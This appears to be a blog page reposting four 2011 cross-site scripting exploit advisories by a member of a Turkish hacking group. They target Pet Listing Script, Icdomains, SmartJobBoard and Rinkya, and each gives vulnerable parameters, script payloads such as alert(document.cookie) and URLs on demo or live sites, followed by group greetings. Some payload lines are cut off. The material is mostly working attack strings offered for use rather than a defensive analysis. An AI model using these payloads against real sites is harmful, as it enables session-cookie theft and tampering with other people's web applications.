Pet Listing Cross Site Scripting

Aktiflik sıkıntısını yaşıyorum.Kendi ismim ile bazı işlere imza attım.Ondan dolayı pek boş zamanım olmuyor.Olduğu zamanda şekil a görüntü b böyle araştırıyoruz ^^

# Exploit Title: Pet Listing Script XSS
# Date: 09.12.2011 - 17.00
# Author: Mr.PaPaRoSSe
# Tested On: Win7
# Platform: Php

-------------------------------------------------------------

preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">



DEMO
http://www.classifiedsgeek.com/pet-listing/demo/preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------
- Mr.PaPaRoSSe / 3spi0n -
~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#

Icdomains XSS

# Exploit Title: Icdomains XSS
# Date: 11.11.2011 - 18.20
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Win7
# Platform: Php

-------------------------------------------------------------

Searchbox

<script>alert(do cument.cookie)</script>

http://icloudcenter.net/demos/icdomains/searchresults.php

Search

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n     -  ALEXTRAX      -  sanTiq0 
Deathless  -  ZyX           -  Tarxes
53rh4+     -  bLaCk_uMo     -  PeRs 
syntaX     -  Mavi_Karalik  -  DarkCOD3R
x-Leader   -  Cyborg        -  Y2J

~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#

http://packetstormsecurity.org/files/106867/icloudcenter-xss.txt

SmartJobBoard Cross Site Scripting

# Exploit Title: SmartJobBoard XSS
# Date: 05.11.2011 - 18.14
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Win7
# Platform: Php

-------------------------------------------------------------


DEMO:
http://www.smartjobboard.com/demo/search-resumes/

Keywords : Enter

http://www.smartjobboard.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n - ALEXTRAX - sanTiq0
Deathless - ZyX - Tarxes
53rh4+ - bLaCk_uMo - PeRs
syntaX - Mavi_Karalik - DarkCOD3R
x-Leader - Cyborg - Y2J

~ And All DD'z Family
-------------------------------------------------------------
#~ DarkDevilz - Defence And Destruction Group'z - TURKEY ~#

http://packetstormsecurity.org/files/106637/smartjobboard-xss.txt

Rinkya Cross Site Scripting

# Exploit Title: Rinkya Cross Site Scripting
# Date: 22.10.2011 - 17.52
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php

-------------------------------------------------------------

search.php

http://www.rinkya.com/membership/search.php

"><script>alert("DDz Mr.PaPaRoSSe")</script>

http://www.rinkya.com/membership/search.php?sType=Auction&s........

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n     -  ALEXTRAX      -  sanTiq0  
Deathless  -  ZyX           -  Tarxes
53rh4+     -  bLaCk_uMo     -  PeRs 
syntaX     -  Mavi_Karalýk  -  DarkCOD3R

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]